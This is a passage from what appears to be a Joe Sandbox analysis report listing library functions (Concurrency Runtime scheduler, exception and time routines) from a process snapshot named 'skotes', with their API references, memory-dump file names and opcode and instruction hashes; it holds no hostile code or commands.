Instruction Fuzzy Hash: 4641C670608214ABDB19AB14CD86FBEBBB5AF45710F0450ADE506BB3C2CB72AD46C791

Function 00EC56AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 00EC56F2
_InternalDeleteHelper.LIBCONCRT ref: 00EC5726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 00EC578B
SafeRWList.LIBCONCRT ref: 00EC579A

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: c56e62e0f4775401e1b150e4833eae9ed51376a127877c3533520569100d927b
Instruction ID: 4cb80704aef1e37bd1b0a8de87f97dcba2bfe00dadbdac3829844eb3693e5d96
Opcode Fuzzy Hash: c56e62e0f4775401e1b150e4833eae9ed51376a127877c3533520569100d927b
Instruction Fuzzy Hash: 873126367006109FDB059F20C881FAD73A6AFC9714F18817DE909AB395DF31BC468B90

Function 00EC2CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00EC2D0F

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 270430f7104e1a2ba8a0e0fac737fcd8d6d4fb3f8d372cb8aeffa2067c03c095
Instruction ID: 3b20410f24b4bac0c43f1d4ede6ba1136c983513d88151e937eb2601359919b3
Opcode Fuzzy Hash: 270430f7104e1a2ba8a0e0fac737fcd8d6d4fb3f8d372cb8aeffa2067c03c095
Instruction Fuzzy Hash: ED313A75A00309DFCF10DF94C6C0FAE7BB9AB54314F1414AEDA02AB346D732A946DBA1

Function 00ED13F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00ED13FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00ED1447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 00ED147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 00ED152A

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: a24fff0b35c1900fd6fc1ccb73429eaf2888ae4141260afa7783ca0f47ebc0c6
Instruction ID: 0a9074f986e329340beb344784492b43e221456f93951bf643e38f860dc10dac
Opcode Fuzzy Hash: a24fff0b35c1900fd6fc1ccb73429eaf2888ae4141260afa7783ca0f47ebc0c6
Instruction Fuzzy Hash: 5D316271A00605AFCB14DFA9C5919EDF7F1FF88710B14A26EE426B7391DB34A942CB90

Function 00EBBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00EBBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00EBBBE4
_xtime_get.LIBCPMT ref: 00EBBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00EBBC13

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 66f7fb38f209daf1548e2f8c7c03b46276a25a60f0d3293002549c0aad53d9bd
Instruction ID: 613ba143b7c4b73e91abe7cadfaac4627b55feeef3d606ec61a6fdc5800c4b3f
Opcode Fuzzy Hash: 66f7fb38f209daf1548e2f8c7c03b46276a25a60f0d3293002549c0aad53d9bd
Instruction Fuzzy Hash: B8211B71A04219AFDF00EFA4D8869FFBBB9EF48714F205065F901B7261DB709D019BA0

Function 00EC9C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00EC9C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00EC9CE8
std::bad_exception::bad_exception.LIBCMT ref: 00EC9CFE
std::bad_exception::bad_exception.LIBCMT ref: 00EC9D6A

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
